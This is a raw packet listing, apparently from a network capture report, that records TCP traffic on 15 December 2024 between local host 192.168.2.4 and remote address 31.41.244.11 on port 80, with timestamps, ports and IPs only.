Dec 15, 2024 11:59:10.900517941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.902162075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.902194023 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.902282000 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.902331114 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.903995037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.904047966 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.904087067 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.904123068 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.905827999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.905869007 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.905905008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.905940056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.907715082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.907761097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.907855034 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.907890081 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.909712076 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.909754038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.909795046 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.909830093 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.911324024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.911367893 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.911575079 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.911609888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.913131952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.913170099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.913363934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.913398027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.914942026 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.914985895 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.915009975 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.915043116 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.916805983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.916841984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.916913986 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.916948080 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.918623924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.918664932 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.918795109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.918833017 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.920387983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.920423985 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.920497894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.920535088 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.922264099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.922291994 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.922307014 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.922327042 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.924057007 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.924091101 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.924175978 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.924220085 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.925932884 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.925967932 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.926086903 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.926173925 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.927694082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.927742004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.927891016 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.927926064 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.929542065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.929559946 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.929589987 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.929604053 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.931351900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.931390047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.931463003 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.931497097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.933168888 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.933207035 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.933243036 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.933278084 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.935060978 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.935105085 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.935175896 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.935215950 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.936860085 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.936909914 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.937048912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.937093019 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.938656092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.938700914 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.938796997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.938837051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.940464020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.940506935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.940572023 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.940610886 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.942354918 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.942398071 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.942447901 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.942497969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.944215059 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.944276094 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.944307089 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.944350004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.945837975 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.945884943 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.945935011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.945972919 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.947645903 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.947691917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.947724104 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.947763920 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.949373960 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.949412107 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.949548960 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.949585915 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.951047897 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.951111078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.951121092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.951162100 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.952403069 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.952444077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.952508926 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.952550888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.954035044 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.954082966 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.954164028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.954201937 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.955688953 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.955732107 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.955741882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.955781937 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.957258940 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.957310915 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.957361937 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.957405090 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.958879948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.958929062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.958996058 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.959043980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.960566998 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.960618973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.960696936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.960738897 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.962074995 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.962207079 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.962239027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.962254047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.963681936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.963727951 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.963814974 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.963857889 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.965267897 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.965312958 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.965404034 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.965439081 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.966907024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.966949940 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.966963053 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.967010021 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.968485117 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.968539000 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.968637943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.968679905 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.970099926 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.970144033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.970207930 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.970249891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.971723080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.971767902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.971838951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.971883059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.973442078 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.973486900 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.973560095 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.973598003 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.974942923 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.974992990 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.975056887 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.975097895 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.976537943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.976594925 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.976660967 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.976712942 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.978163958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.978205919 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.085706949 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.085772991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.085791111 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.085846901 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.086199999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.086267948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.086359024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.086402893 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.087363958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.087405920 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.087475061 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.087522030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.088464975 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.088510990 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.088807106 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.088854074 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.088911057 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.088959932 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.090030909 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.090084076 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.090150118 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.090207100 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.091063976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.091113091 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.091176987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.091224909 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.092154026 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.092211008 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.092281103 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.092329025 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.093281984 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.093328953 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.093396902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.093445063 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.094377995 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.094428062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.094512939 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.094557047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.095453024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.095504045 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.095669031 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.095716953 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.096502066 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.096545935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.096606970 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.096654892 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.097594023 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.097635984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.097708941 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.097749949 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.098795891 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.098839998 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.098903894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.098943949 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.099719048 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.099764109 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.099771023 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.099816084 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.100802898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.100846052 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.100879908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.100923061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.101803064 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.101850986 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.101919889 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.101962090 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.102906942 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.102951050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.103007078 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.103049994 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.103897095 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.103940010 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.104001045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.104044914 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.105109930 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.105159044 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.105236053 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.105277061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.106003046 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.106050014 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.106156111 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.106197119 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.107108116 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.107152939 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.107161045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.107201099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.108098030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.108145952 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.108211040 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.108253002 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.109210968 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.109250069 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.109328985 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.109370947 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.110194921 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.110241890 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.110311985 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.110344887 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.111239910 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.111279964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.111365080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.111402988 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.112293959 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.112337112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.112406969 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.112451077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.113389015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.113435030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.113444090 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.113481045 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.114406109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.114451885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.114515066 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.114557981 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.115456104 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.115504980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.115571022 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.115616083 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.116513014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.116560936 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.116631031 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.116674900 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.117537975 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.117582083 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.117660999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.117702961 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.118633032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.118679047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.118731976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.118779898 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.119678974 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.119724035 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.119782925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.119828939 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.120691061 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.120734930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.120743036 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.120789051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.121742010 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.121786118 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.121851921 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.121896029 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.122808933 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.122872114 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.122936010 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.122981071 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.123830080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.123878002 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.123946905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.123991966 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.124911070 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.124954939 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.124963045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.125005007 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.125960112 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.126002073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.126081944 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.126126051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.127000093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.127044916 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.127053976 CET	80	49760	31.41.244.11	192.168.2.4
